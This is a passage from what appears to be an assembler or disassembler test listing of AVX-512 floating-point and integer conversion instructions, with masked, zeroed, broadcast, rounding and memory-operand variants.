vcvtpd2ps xmm2{k5}{z}, [rbx]{1to4}
vcvtpd2ps ymm16, zmm31
vcvtpd2ps ymm16, zmm31, {rd-sae}
vcvtpd2ps ymm16, [rbx]
vcvtpd2ps ymm16, [rbx]{1to8}
vcvtpd2ps ymm16, [rbx+r11*8+256]
vcvtpd2ps ymm16, [rbx+r11*8-256]
vcvtpd2ps ymm16{k5}, zmm31
vcvtpd2ps ymm16{k5}, zmm31, {rd-sae}
vcvtpd2ps ymm16{k5}, [rbx]
vcvtpd2ps ymm16{k5}, [rbx]{1to8}
vcvtpd2ps ymm16{k5}, [rbx+r11*8+256]
vcvtpd2ps ymm16{k5}, [rbx+r11*8-256]
vcvtpd2ps ymm16{k5}{z}, zmm31
vcvtpd2ps ymm16{k5}{z}, zmm31, {rd-sae}
vcvtpd2ps ymm16{k5}{z}, [rbx]
vcvtpd2ps ymm16{k5}{z}, [rbx]{1to8}
vcvtpd2ps ymm16{k5}{z}, [rbx+r11*8+256]
vcvtpd2ps ymm16{k5}{z}, [rbx+r11*8-256]
vcvtpd2udq xmm2, xmm0
vcvtpd2udq xmm2, ymm15
vcvtpd2udq xmm2, [rbx]{1to2}
vcvtpd2udq xmm2, [rbx]{1to4}
vcvtpd2udq xmm2{k5}, xmm0
vcvtpd2udq xmm2{k5}, ymm15
vcvtpd2udq xmm2{k5}, [rbx]{1to2}
vcvtpd2udq xmm2{k5}, [rbx]{1to4}
vcvtpd2udq xmm2{k5}{z}, xmm0
vcvtpd2udq xmm2{k5}{z}, ymm15
vcvtpd2udq xmm2{k5}{z}, [rbx]{1to2}
vcvtpd2udq xmm2{k5}{z}, [rbx]{1to4}
vcvtpd2udq ymm16, zmm31
vcvtpd2udq ymm16, zmm31, {rd-sae}
vcvtpd2udq ymm16, [rbx]
vcvtpd2udq ymm16, [rbx]{1to8}
vcvtpd2udq ymm16, [rbx+r11*8+256]
vcvtpd2udq ymm16, [rbx+r11*8-256]
vcvtpd2udq ymm16{k5}, zmm31
vcvtpd2udq ymm16{k5}, zmm31, {rd-sae}
vcvtpd2udq ymm16{k5}, [rbx]
vcvtpd2udq ymm16{k5}, [rbx]{1to8}
vcvtpd2udq ymm16{k5}, [rbx+r11*8+256]
vcvtpd2udq ymm16{k5}, [rbx+r11*8-256]
vcvtpd2udq ymm16{k5}{z}, zmm31
vcvtpd2udq ymm16{k5}{z}, zmm31, {rd-sae}
vcvtpd2udq ymm16{k5}{z}, [rbx]
vcvtpd2udq ymm16{k5}{z}, [rbx]{1to8}
vcvtpd2udq ymm16{k5}{z}, [rbx+r11*8+256]
vcvtpd2udq ymm16{k5}{z}, [rbx+r11*8-256]
vcvtph2ps xmm2, xmm0
vcvtph2ps xmm2, [rbx]
vcvtph2ps xmm2, [rbx+r11*8+256]
vcvtph2ps xmm2, [rbx+r11*8-256]
vcvtph2ps xmm2{k5}, xmm0
vcvtph2ps xmm2{k5}, [rbx]
vcvtph2ps xmm2{k5}, [rbx+r11*8+256]
vcvtph2ps xmm2{k5}, [rbx+r11*8-256]
vcvtph2ps xmm2{k5}{z}, xmm0
vcvtph2ps xmm2{k5}{z}, [rbx]
vcvtph2ps xmm2{k5}{z}, [rbx+r11*8+256]
vcvtph2ps xmm2{k5}{z}, [rbx+r11*8-256]
vcvtph2ps ymm16, xmm0
vcvtph2ps ymm16, [rbx]
vcvtph2ps ymm16, [rbx+r11*8+256]
vcvtph2ps ymm16, [rbx+r11*8-256]
vcvtph2ps ymm16{k5}, xmm0
vcvtph2ps ymm16{k5}, [rbx]
vcvtph2ps ymm16{k5}, [rbx+r11*8+256]
vcvtph2ps ymm16{k5}, [rbx+r11*8-256]
vcvtph2ps ymm16{k5}{z}, xmm0
vcvtph2ps ymm16{k5}{z}, [rbx]
vcvtph2ps ymm16{k5}{z}, [rbx+r11*8+256]
vcvtph2ps ymm16{k5}{z}, [rbx+r11*8-256]
vcvtph2ps zmm24, ymm15
vcvtph2ps zmm24, ymm15, {sae}
vcvtph2ps zmm24, [rbx]
vcvtph2ps zmm24, [rbx+r11*8+256]
vcvtph2ps zmm24, [rbx+r11*8-256]
vcvtph2ps zmm24{k5}, ymm15
vcvtph2ps zmm24{k5}, ymm15, {sae}
vcvtph2ps zmm24{k5}, [rbx]
vcvtph2ps zmm24{k5}, [rbx+r11*8+256]
vcvtph2ps zmm24{k5}, [rbx+r11*8-256]
vcvtph2ps zmm24{k5}{z}, ymm15
vcvtph2ps zmm24{k5}{z}, ymm15, {sae}
vcvtph2ps zmm24{k5}{z}, [rbx]
vcvtph2ps zmm24{k5}{z}, [rbx+r11*8+256]
vcvtph2ps zmm24{k5}{z}, [rbx+r11*8-256]
vcvtps2dq xmm2, xmm0
vcvtps2dq xmm2, [rbx]
vcvtps2dq xmm2, [rbx]{1to4}
vcvtps2dq xmm2, [rbx+r11*8+256]
vcvtps2dq xmm2, [rbx+r11*8-256]
vcvtps2dq xmm2{k5}, xmm0
vcvtps2dq xmm2{k5}, [rbx]
vcvtps2dq xmm2{k5}, [rbx]{1to4}
vcvtps2dq xmm2{k5}, [rbx+r11*8+256]
vcvtps2dq xmm2{k5}, [rbx+r11*8-256]
vcvtps2dq xmm2{k5}{z}, xmm0
vcvtps2dq xmm2{k5}{z}, [rbx]
vcvtps2dq xmm2{k5}{z}, [rbx]{1to4}
vcvtps2dq xmm2{k5}{z}, [rbx+r11*8+256]
vcvtps2dq xmm2{k5}{z}, [rbx+r11*8-256]
vcvtps2dq ymm16, ymm15
vcvtps2dq ymm16, [rbx]
vcvtps2dq ymm16, [rbx]{1to8}
vcvtps2dq ymm16, [rbx+r11*8+256]
vcvtps2dq ymm16, [rbx+r11*8-256]
vcvtps2dq ymm16{k5}, ymm15
vcvtps2dq ymm16{k5}, [rbx]
vcvtps2dq ymm16{k5}, [rbx]{1to8}
vcvtps2dq ymm16{k5}, [rbx+r11*8+256]
vcvtps2dq ymm16{k5}, [rbx+r11*8-256]
vcvtps2dq ymm16{k5}{z}, ymm15
vcvtps2dq ymm16{k5}{z}, [rbx]
vcvtps2dq ymm16{k5}{z}, [rbx]{1to8}
vcvtps2dq ymm16{k5}{z}, [rbx+r11*8+256]
vcvtps2dq ymm16{k5}{z}, [rbx+r11*8-256]
vcvtps2dq zmm24, zmm31
vcvtps2dq zmm24, zmm31, {rd-sae}
vcvtps2dq zmm24, [rbx]
vcvtps2dq zmm24, [rbx]{1to16}
vcvtps2dq zmm24, [rbx+r11*8+256]
vcvtps2dq zmm24, [rbx+r11*8-256]
vcvtps2dq zmm24{k5}, zmm31
vcvtps2dq zmm24{k5}, zmm31, {rd-sae}
vcvtps2dq zmm24{k5}, [rbx]
vcvtps2dq zmm24{k5}, [rbx]{1to16}
vcvtps2dq zmm24{k5}, [rbx+r11*8+256]
vcvtps2dq zmm24{k5}, [rbx+r11*8-256]
vcvtps2dq zmm24{k5}{z}, zmm31
vcvtps2dq zmm24{k5}{z}, zmm31, {rd-sae}
vcvtps2dq zmm24{k5}{z}, [rbx]
vcvtps2dq zmm24{k5}{z}, [rbx]{1to16}
vcvtps2dq zmm24{k5}{z}, [rbx+r11*8+256]
vcvtps2dq zmm24{k5}{z}, [rbx+r11*8-256]
vcvtps2pd xmm2, xmm0
vcvtps2pd xmm2, [rbx]
vcvtps2pd xmm2, [rbx]{1to2}
vcvtps2pd xmm2, [rbx+r11*8+256]
vcvtps2pd xmm2, [rbx+r11*8-256]
vcvtps2pd xmm2{k5}, xmm0
vcvtps2pd xmm2{k5}, [rbx]
vcvtps2pd xmm2{k5}, [rbx]{1to2}
vcvtps2pd xmm2{k5}, [rbx+r11*8+256]
vcvtps2pd xmm2{k5}, [rbx+r11*8-256]
vcvtps2pd xmm2{k5}{z}, xmm0
vcvtps2pd xmm2{k5}{z}, [rbx]
vcvtps2pd xmm2{k5}{z}, [rbx]{1to2}
vcvtps2pd xmm2{k5}{z}, [rbx+r11*8+256]
vcvtps2pd xmm2{k5}{z}, [rbx+r11*8-256]
vcvtps2pd ymm16, xmm0
vcvtps2pd ymm16, [rbx]
vcvtps2pd ymm16, [rbx]{1to4}
vcvtps2pd ymm16, [rbx+r11*8+256]
vcvtps2pd ymm16, [rbx+r11*8-256]
vcvtps2pd ymm16{k5}, xmm0
vcvtps2pd ymm16{k5}, [rbx]
vcvtps2pd ymm16{k5}, [rbx]{1to4}
vcvtps2pd ymm16{k5}, [rbx+r11*8+256]
vcvtps2pd ymm16{k5}, [rbx+r11*8-256]
vcvtps2pd ymm16{k5}{z}, xmm0
vcvtps2pd ymm16{k5}{z}, [rbx]
vcvtps2pd ymm16{k5}{z}, [rbx]{1to4}
vcvtps2pd ymm16{k5}{z}, [rbx+r11*8+256]
vcvtps2pd ymm16{k5}{z}, [rbx+r11*8-256]
vcvtps2pd zmm24, ymm15
vcvtps2pd zmm24, ymm15, {sae}
vcvtps2pd zmm24, [rbx]
vcvtps2pd zmm24, [rbx]{1to8}
vcvtps2pd zmm24, [rbx+r11*8+256]
vcvtps2pd zmm24, [rbx+r11*8-256]
vcvtps2pd zmm24{k5}, ymm15
vcvtps2pd zmm24{k5}, ymm15, {sae}
vcvtps2pd zmm24{k5}, [rbx]
vcvtps2pd zmm24{k5}, [rbx]{1to8}
vcvtps2pd zmm24{k5}, [rbx+r11*8+256]
vcvtps2pd zmm24{k5}, [rbx+r11*8-256]
vcvtps2pd zmm24{k5}{z}, ymm15
vcvtps2pd zmm24{k5}{z}, ymm15, {sae}
vcvtps2pd zmm24{k5}{z}, [rbx]
vcvtps2pd zmm24{k5}{z}, [rbx]{1to8}
vcvtps2pd zmm24{k5}{z}, [rbx+r11*8+256]
vcvtps2pd zmm24{k5}{z}, [rbx+r11*8-256]
vcvtps2ph xmm0, xmm2, 10
vcvtps2ph xmm0, ymm16, 10
vcvtps2ph ymm15, zmm24, 10
vcvtps2ph [rbx], xmm2, 10
vcvtps2ph [rbx], ymm16, 10
vcvtps2ph [rbx], zmm24, 10
vcvtps2ph [rbx+r11*8+256], xmm2, 10
vcvtps2ph [rbx+r11*8+256], ymm16, 10
vcvtps2ph [rbx+r11*8+256], zmm24, 10
vcvtps2ph [rbx+r11*8-256], xmm2, 10
vcvtps2ph [rbx+r11*8-256], ymm16, 10
vcvtps2ph [rbx+r11*8-256], zmm24, 10
vcvtps2udq xmm2, xmm0
vcvtps2udq xmm2, [rbx]
vcvtps2udq xmm2, [rbx]{1to4}
vcvtps2udq xmm2, [rbx+r11*8+256]
vcvtps2udq xmm2, [rbx+r11*8-256]
vcvtps2udq xmm2{k5}, xmm0
vcvtps2udq xmm2{k5}, [rbx]
vcvtps2udq xmm2{k5}, [rbx]{1to4}
vcvtps2udq xmm2{k5}, [rbx+r11*8+256]
vcvtps2udq xmm2{k5}, [rbx+r11*8-256]
vcvtps2udq xmm2{k5}{z}, xmm0
vcvtps2udq xmm2{k5}{z}, [rbx]
vcvtps2udq xmm2{k5}{z}, [rbx]{1to4}
vcvtps2udq xmm2{k5}{z}, [rbx+r11*8+256]
vcvtps2udq xmm2{k5}{z}, [rbx+r11*8-256]
vcvtps2udq ymm16, ymm15
vcvtps2udq ymm16, [rbx]
vcvtps2udq ymm16, [rbx]{1to8}
vcvtps2udq ymm16, [rbx+r11*8+256]
vcvtps2udq ymm16, [rbx+r11*8-256]
vcvtps2udq ymm16{k5}, ymm15
vcvtps2udq ymm16{k5}, [rbx]
vcvtps2udq ymm16{k5}, [rbx]{1to8}
vcvtps2udq ymm16{k5}, [rbx+r11*8+256]
vcvtps2udq ymm16{k5}, [rbx+r11*8-256]
vcvtps2udq ymm16{k5}{z}, ymm15
vcvtps2udq ymm16{k5}{z}, [rbx]
vcvtps2udq ymm16{k5}{z}, [rbx]{1to8}
vcvtps2udq ymm16{k5}{z}, [rbx+r11*8+256]
vcvtps2udq ymm16{k5}{z}, [rbx+r11*8-256]
vcvtps2udq zmm24, zmm31
vcvtps2udq zmm24, zmm31, {rd-sae}
vcvtps2udq zmm24, [rbx]
vcvtps2udq zmm24, [rbx]{1to16}
vcvtps2udq zmm24, [rbx+r11*8+256]
vcvtps2udq zmm24, [rbx+r11*8-256]
vcvtps2udq zmm24{k5}, zmm31
vcvtps2udq zmm24{k5}, zmm31, {rd-sae}
vcvtps2udq zmm24{k5}, [rbx]
vcvtps2udq zmm24{k5}, [rbx]{1to16}
vcvtps2udq zmm24{k5}, [rbx+r11*8+256]
vcvtps2udq zmm24{k5}, [rbx+r11*8-256]
vcvtps2udq zmm24{k5}{z}, zmm31
vcvtps2udq zmm24{k5}{z}, zmm31, {rd-sae}
vcvtps2udq zmm24{k5}{z}, [rbx]
vcvtps2udq zmm24{k5}{z}, [rbx]{1to16}
vcvtps2udq zmm24{k5}{z}, [rbx+r11*8+256]
vcvtps2udq zmm24{k5}{z}, [rbx+r11*8-256]
vcvtsd2si ecx, xmm0
vcvtsd2si ecx, xmm0, {rd-sae}
vcvtsd2si ecx, [rbx]
vcvtsd2si ecx, [rbx+r11*8+256]
vcvtsd2si ecx, [rbx+r11*8-256]
vcvtsd2si rcx, xmm0
vcvtsd2si rcx, xmm0, {rd-sae}
vcvtsd2si rcx, [rbx]
vcvtsd2si rcx, [rbx+r11*8+256]
vcvtsd2si rcx, [rbx+r11*8-256]
vcvtsd2ss xmm2, xmm7, xmm0
vcvtsd2ss xmm2, xmm7, xmm0, {rd-sae}
vcvtsd2ss xmm2, xmm7, [rbx]
vcvtsd2ss xmm2, xmm7, [rbx+r11*8+256]
vcvtsd2ss xmm2, xmm7, [rbx+r11*8-256]
vcvtsd2ss xmm2{k5}, xmm7, xmm0
vcvtsd2ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vcvtsd2ss xmm2{k5}, xmm7, [rbx]
vcvtsd2ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vcvtsd2ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vcvtsd2ss xmm2{k5}{z}, xmm7, xmm0
vcvtsd2ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vcvtsd2ss xmm2{k5}{z}, xmm7, [rbx]
vcvtsd2ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vcvtsd2ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vcvtsd2usi ecx, xmm0
vcvtsd2usi ecx, xmm0, {rd-sae}
vcvtsd2usi ecx, [rbx]
vcvtsd2usi ecx, [rbx+r11*8+256]
vcvtsd2usi ecx, [rbx+r11*8-256]
vcvtsd2usi rcx, xmm0
vcvtsd2usi rcx, xmm0, {rd-sae}
vcvtsd2usi rcx, [rbx]
vcvtsd2usi rcx, [rbx+r11*8+256]
vcvtsd2usi rcx, [rbx+r11*8-256]
vcvtsi2sd xmm2, xmm7, ecx
vcvtsi2sd xmm2, xmm7, rcx
vcvtsi2sd xmm2, xmm7, [rbx]
vcvtsi2sd xmm2, xmm7, [rbx+rsi*8+256]
vcvtsi2sd xmm2, xmm7, ecx
vcvtsi2sd xmm2, xmm7, rcx
vcvtsi2sd xmm2, xmm7, [rbx]
vcvtsi2sd xmm2, xmm7, [rbx+rsi*8+256]
vcvtsi2ss xmm2, xmm7, ecx
vcvtsi2ss xmm2, xmm7, rcx
vcvtsi2ss xmm2, xmm7, [rbx]
vcvtsi2ss xmm2, xmm7, [rbx+rsi*8+256]
vcvtss2sd xmm2, xmm7, xmm0
vcvtss2sd xmm2, xmm7, xmm0, {sae}
vcvtss2sd xmm2, xmm7, [rbx]
vcvtss2sd xmm2, xmm7, [rbx+r11*8+256]
vcvtss2sd xmm2, xmm7, [rbx+r11*8-256]
vcvtss2sd xmm2{k5}, xmm7, xmm0
vcvtss2sd xmm2{k5}, xmm7, xmm0, {sae}
vcvtss2sd xmm2{k5}, xmm7, [rbx]
vcvtss2sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vcvtss2sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vcvtss2sd xmm2{k5}{z}, xmm7, xmm0
vcvtss2sd xmm2{k5}{z}, xmm7, xmm0, {sae}
vcvtss2sd xmm2{k5}{z}, xmm7, [rbx]
vcvtss2sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vcvtss2sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vcvtss2si ecx, xmm0
vcvtss2si ecx, xmm0, {rd-sae}
vcvtss2si ecx, [rbx]
vcvtss2si ecx, [rbx+r11*8+256]
vcvtss2si ecx, [rbx+r11*8-256]
vcvtss2si rcx, xmm0
vcvtss2si rcx, xmm0, {rd-sae}
vcvtss2si rcx, [rbx]
vcvtss2si rcx, [rbx+r11*8+256]
vcvtss2si rcx, [rbx+r11*8-256]
vcvtss2usi ecx, xmm0
vcvtss2usi ecx, xmm0, {rd-sae}
vcvtss2usi ecx, [rbx]
vcvtss2usi ecx, [rbx+r11*8+256]
vcvtss2usi ecx, [rbx+r11*8-256]
vcvtss2usi rcx, xmm0
vcvtss2usi rcx, xmm0, {rd-sae}
vcvtss2usi rcx, [rbx]
vcvtss2usi rcx, [rbx+r11*8+256]
vcvtss2usi rcx, [rbx+r11*8-256]
vcvttpd2dq xmm2, xmm0
vcvttpd2dq xmm2, ymm15
vcvttpd2dq xmm2, [rbx]
vcvttpd2dq xmm2, [rbx]{1to2}
vcvttpd2dq xmm2, [rbx]{1to4}
vcvttpd2dq xmm2, [rbx+r11*8+256]
vcvttpd2dq xmm2, [rbx+r11*8-256]
vcvttpd2dq xmm2{k5}, xmm0
vcvttpd2dq xmm2{k5}, ymm15
vcvttpd2dq xmm2{k5}, [rbx]{1to2}
vcvttpd2dq xmm2{k5}, [rbx]{1to4}
vcvttpd2dq xmm2{k5}{z}, xmm0
vcvttpd2dq xmm2{k5}{z}, ymm15
vcvttpd2dq xmm2{k5}{z}, [rbx]{1to2}
vcvttpd2dq xmm2{k5}{z}, [rbx]{1to4}
vcvttpd2dq ymm16, zmm31
vcvttpd2dq ymm16, zmm31, {sae}
vcvttpd2dq ymm16, [rbx]
vcvttpd2dq ymm16, [rbx]{1to8}
vcvttpd2dq ymm16, [rbx+r11*8+256]
vcvttpd2dq ymm16, [rbx+r11*8-256]
vcvttpd2dq ymm16{k5}, zmm31
vcvttpd2dq ymm16{k5}, zmm31, {sae}
vcvttpd2dq ymm16{k5}, [rbx]
vcvttpd2dq ymm16{k5}, [rbx]{1to8}
vcvttpd2dq ymm16{k5}, [rbx+r11*8+256]
vcvttpd2dq ymm16{k5}, [rbx+r11*8-256]
vcvttpd2dq ymm16{k5}{z}, zmm31
vcvttpd2dq ymm16{k5}{z}, zmm31, {sae}
vcvttpd2dq ymm16{k5}{z}, [rbx]
vcvttpd2dq ymm16{k5}{z}, [rbx]{1to8}
vcvttpd2dq ymm16{k5}{z}, [rbx+r11*8+256]
vcvttpd2dq ymm16{k5}{z}, [rbx+r11*8-256]
vcvttpd2udq xmm2, xmm0
vcvttpd2udq xmm2, ymm15
vcvttpd2udq xmm2, [rbx]{1to2}
vcvttpd2udq xmm2, [rbx]{1to4}
vcvttpd2udq xmm2{k5}, xmm0
vcvttpd2udq xmm2{k5}, ymm15
vcvttpd2udq xmm2{k5}, [rbx]{1to2}
vcvttpd2udq xmm2{k5}, [rbx]{1to4}
vcvttpd2udq xmm2{k5}{z}, xmm0
vcvttpd2udq xmm2{k5}{z}, ymm15
vcvttpd2udq xmm2{k5}{z}, [rbx]{1to2}
vcvttpd2udq xmm2{k5}{z}, [rbx]{1to4}
vcvttpd2udq ymm16, zmm31
vcvttpd2udq ymm16, zmm31, {sae}
vcvttpd2udq ymm16, [rbx]
vcvttpd2udq ymm16, [rbx]{1to8}
vcvttpd2udq ymm16, [rbx+r11*8+256]
vcvttpd2udq ymm16, [rbx+r11*8-256]
vcvttpd2udq ymm16{k5}, zmm31
vcvttpd2udq ymm16{k5}, zmm31, {sae}
vcvttpd2udq ymm16{k5}, [rbx]
vcvttpd2udq ymm16{k5}, [rbx]{1to8}
vcvttpd2udq ymm16{k5}, [rbx+r11*8+256]
vcvttpd2udq ymm16{k5}, [rbx+r11*8-256]
vcvttpd2udq ymm16{k5}{z}, zmm31
vcvttpd2udq ymm16{k5}{z}, zmm31, {sae}
vcvttpd2udq ymm16{k5}{z}, [rbx]
vcvttpd2udq ymm16{k5}{z}, [rbx]{1to8}
vcvttpd2udq ymm16{k5}{z}, [rbx+r11*8+256]
vcvttpd2udq ymm16{k5}{z}, [rbx+r11*8-256]
vcvttps2dq xmm2, xmm0
vcvttps2dq xmm2, [rbx]
vcvttps2dq xmm2, [rbx]{1to4}
vcvttps2dq xmm2, [rbx+r11*8+256]
vcvttps2dq xmm2, [rbx+r11*8-256]
vcvttps2dq xmm2{k5}, xmm0
vcvttps2dq xmm2{k5}, [rbx]
vcvttps2dq xmm2{k5}, [rbx]{1to4}
vcvttps2dq xmm2{k5}, [rbx+r11*8+256]
vcvttps2dq xmm2{k5}, [rbx+r11*8-256]
vcvttps2dq xmm2{k5}{z}, xmm0
vcvttps2dq xmm2{k5}{z}, [rbx]
vcvttps2dq xmm2{k5}{z}, [rbx]{1to4}
vcvttps2dq xmm2{k5}{z}, [rbx+r11*8+256]
vcvttps2dq xmm2{k5}{z}, [rbx+r11*8-256]
vcvttps2dq ymm16, ymm15
vcvttps2dq ymm16, [rbx]
vcvttps2dq ymm16, [rbx]{1to8}
vcvttps2dq ymm16, [rbx+r11*8+256]
vcvttps2dq ymm16, [rbx+r11*8-256]
vcvttps2dq ymm16{k5}, ymm15
vcvttps2dq ymm16{k5}, [rbx]
vcvttps2dq ymm16{k5}, [rbx]{1to8}
vcvttps2dq ymm16{k5}, [rbx+r11*8+256]
vcvttps2dq ymm16{k5}, [rbx+r11*8-256]
vcvttps2dq ymm16{k5}{z}, ymm15
vcvttps2dq ymm16{k5}{z}, [rbx]
vcvttps2dq ymm16{k5}{z}, [rbx]{1to8}
vcvttps2dq ymm16{k5}{z}, [rbx+r11*8+256]
vcvttps2dq ymm16{k5}{z}, [rbx+r11*8-256]
vcvttps2dq zmm24, zmm31
vcvttps2dq zmm24, zmm31, {sae}
vcvttps2dq zmm24, [rbx]
vcvttps2dq zmm24, [rbx]{1to16}
vcvttps2dq zmm24, [rbx+r11*8+256]
vcvttps2dq zmm24, [rbx+r11*8-256]
vcvttps2dq zmm24{k5}, zmm31
vcvttps2dq zmm24{k5}, zmm31, {sae}
vcvttps2dq zmm24{k5}, [rbx]
vcvttps2dq zmm24{k5}, [rbx]{1to16}
vcvttps2dq zmm24{k5}, [rbx+r11*8+256]
vcvttps2dq zmm24{k5}, [rbx+r11*8-256]
vcvttps2dq zmm24{k5}{z}, zmm31
vcvttps2dq zmm24{k5}{z}, zmm31, {sae}
vcvttps2dq zmm24{k5}{z}, [rbx]
vcvttps2dq zmm24{k5}{z}, [rbx]{1to16}
vcvttps2dq zmm24{k5}{z}, [rbx+r11*8+256]
vcvttps2dq zmm24{k5}{z}, [rbx+r11*8-256]
vcvttps2udq xmm2, xmm0
vcvttps2udq xmm2, [rbx]
vcvttps2udq xmm2, [rbx]{1to4}
vcvttps2udq xmm2, [rbx+r11*8+256]
vcvttps2udq xmm2, [rbx+r11*8-256]
vcvttps2udq xmm2{k5}, xmm0
vcvttps2udq xmm2{k5}, [rbx]
vcvttps2udq xmm2{k5}, [rbx]{1to4}
vcvttps2udq xmm2{k5}, [rbx+r11*8+256]
vcvttps2udq xmm2{k5}, [rbx+r11*8-256]
vcvttps2udq xmm2{k5}{z}, xmm0
vcvttps2udq xmm2{k5}{z}, [rbx]
vcvttps2udq xmm2{k5}{z}, [rbx]{1to4}
vcvttps2udq xmm2{k5}{z}, [rbx+r11*8+256]
vcvttps2udq xmm2{k5}{z}, [rbx+r11*8-256]
vcvttps2udq ymm16, ymm15
vcvttps2udq ymm16, [rbx]
vcvttps2udq ymm16, [rbx]{1to8}
vcvttps2udq ymm16, [rbx+r11*8+256]
vcvttps2udq ymm16, [rbx+r11*8-256]
vcvttps2udq ymm16{k5}, ymm15
vcvttps2udq ymm16{k5}, [rbx]
vcvttps2udq ymm16{k5}, [rbx]{1to8}
vcvttps2udq ymm16{k5}, [rbx+r11*8+256]
vcvttps2udq ymm16{k5}, [rbx+r11*8-256]
vcvttps2udq ymm16{k5}{z}, ymm15
vcvttps2udq ymm16{k5}{z}, [rbx]
vcvttps2udq ymm16{k5}{z}, [rbx]{1to8}
vcvttps2udq ymm16{k5}{z}, [rbx+r11*8+256]
vcvttps2udq ymm16{k5}{z}, [rbx+r11*8-256]
vcvttps2udq zmm24, zmm31
vcvttps2udq zmm24, zmm31, {sae}
vcvttps2udq zmm24, [rbx]
vcvttps2udq zmm24, [rbx]{1to16}
vcvttps2udq zmm24, [rbx+r11*8+256]
vcvttps2udq zmm24, [rbx+r11*8-256]
vcvttps2udq zmm24{k5}, zmm31
vcvttps2udq zmm24{k5}, zmm31, {sae}
vcvttps2udq zmm24{k5}, [rbx]
vcvttps2udq zmm24{k5}, [rbx]{1to16}
vcvttps2udq zmm24{k5}, [rbx+r11*8+256]
vcvttps2udq zmm24{k5}, [rbx+r11*8-256]
vcvttps2udq zmm24{k5}{z}, zmm31
vcvttps2udq zmm24{k5}{z}, zmm31, {sae}
vcvttps2udq zmm24{k5}{z}, [rbx]
vcvttps2udq zmm24{k5}{z}, [rbx]{1to16}
vcvttps2udq zmm24{k5}{z}, [rbx+r11*8+256]
vcvttps2udq zmm24{k5}{z}, [rbx+r11*8-256]
vcvttsd2si ecx, xmm0
vcvttsd2si ecx, xmm0, {sae}
vcvttsd2si ecx, [rbx]
vcvttsd2si ecx, [rbx+r11*8+256]
vcvttsd2si ecx, [rbx+r11*8-256]
vcvttsd2si rcx, xmm0
vcvttsd2si rcx, xmm0, {sae}
vcvttsd2si rcx, [rbx]
vcvttsd2si rcx, [rbx+r11*8+256]
vcvttsd2si rcx, [rbx+r11*8-256]
vcvttsd2usi ecx, xmm0
vcvttsd2usi ecx, xmm0, {sae}
vcvttsd2usi ecx, [rbx]
vcvttsd2usi ecx, [rbx+r11*8+256]
vcvttsd2usi ecx, [rbx+r11*8-256]
vcvttsd2usi rcx, xmm0
vcvttsd2usi rcx, xmm0, {sae}
vcvttsd2usi rcx, [rbx]
vcvttsd2usi rcx, [rbx+r11*8+256]
vcvttsd2usi rcx, [rbx+r11*8-256]
vcvttss2si ecx, xmm0
vcvttss2si ecx, xmm0, {sae}
vcvttss2si ecx, [rbx]
vcvttss2si ecx, [rbx+r11*8+256]
vcvttss2si ecx, [rbx+r11*8-256]
vcvttss2si rcx, xmm0
vcvttss2si rcx, xmm0, {sae}
vcvttss2si rcx, [rbx]
vcvttss2si rcx, [rbx+r11*8+256]
vcvttss2si rcx, [rbx+r11*8-256]
vcvttss2usi ecx, xmm0
vcvttss2usi ecx, xmm0, {sae}
vcvttss2usi ecx, [rbx]
vcvttss2usi ecx, [rbx+r11*8+256]
vcvttss2usi ecx, [rbx+r11*8-256]
vcvttss2usi rcx, xmm0
vcvttss2usi rcx, xmm0, {sae}
vcvttss2usi rcx, [rbx]
vcvttss2usi rcx, [rbx+r11*8+256]
vcvttss2usi rcx, [rbx+r11*8-256]
vcvtudq2pd xmm2, xmm0
vcvtudq2pd xmm2, [rbx]
vcvtudq2pd xmm2, [rbx]{1to2}
vcvtudq2pd xmm2, [rbx+r11*8+256]
vcvtudq2pd xmm2, [rbx+r11*8-256]
vcvtudq2pd xmm2{k5}, xmm0
vcvtudq2pd xmm2{k5}, [rbx]
vcvtudq2pd xmm2{k5}, [rbx]{1to2}
vcvtudq2pd xmm2{k5}, [rbx+r11*8+256]
vcvtudq2pd xmm2{k5}, [rbx+r11*8-256]
vcvtudq2pd xmm2{k5}{z}, xmm0
vcvtudq2pd xmm2{k5}{z}, [rbx]
vcvtudq2pd xmm2{k5}{z}, [rbx]{1to2}
vcvtudq2pd xmm2{k5}{z}, [rbx+r11*8+256]
vcvtudq2pd xmm2{k5}{z}, [rbx+r11*8-256]
vcvtudq2pd ymm16, xmm0
vcvtudq2pd ymm16, [rbx]
vcvtudq2pd ymm16, [rbx]{1to4}
vcvtudq2pd ymm16, [rbx+r11*8+256]
vcvtudq2pd ymm16, [rbx+r11*8-256]
vcvtudq2pd ymm16{k5}, xmm0
vcvtudq2pd ymm16{k5}, [rbx]
vcvtudq2pd ymm16{k5}, [rbx]{1to4}
vcvtudq2pd ymm16{k5}, [rbx+r11*8+256]
vcvtudq2pd ymm16{k5}, [rbx+r11*8-256]
vcvtudq2pd ymm16{k5}{z}, xmm0
vcvtudq2pd ymm16{k5}{z}, [rbx]
vcvtudq2pd ymm16{k5}{z}, [rbx]{1to4}
vcvtudq2pd ymm16{k5}{z}, [rbx+r11*8+256]
vcvtudq2pd ymm16{k5}{z}, [rbx+r11*8-256]
vcvtudq2pd zmm24, ymm15
vcvtudq2pd zmm24, [rbx]
vcvtudq2pd zmm24, [rbx]{1to8}
vcvtudq2pd zmm24, [rbx+r11*8+256]
vcvtudq2pd zmm24, [rbx+r11*8-256]
vcvtudq2pd zmm24{k5}, ymm15
vcvtudq2pd zmm24{k5}, [rbx]
vcvtudq2pd zmm24{k5}, [rbx]{1to8}
vcvtudq2pd zmm24{k5}, [rbx+r11*8+256]
vcvtudq2pd zmm24{k5}, [rbx+r11*8-256]
vcvtudq2pd zmm24{k5}{z}, ymm15
vcvtudq2pd zmm24{k5}{z}, [rbx]
vcvtudq2pd zmm24{k5}{z}, [rbx]{1to8}
vcvtudq2pd zmm24{k5}{z}, [rbx+r11*8+256]
vcvtudq2pd zmm24{k5}{z}, [rbx+r11*8-256]
vcvtudq2ps xmm2, xmm0
vcvtudq2ps xmm2, [rbx]
vcvtudq2ps xmm2, [rbx]{1to4}
vcvtudq2ps xmm2, [rbx+r11*8+256]
vcvtudq2ps xmm2, [rbx+r11*8-256]
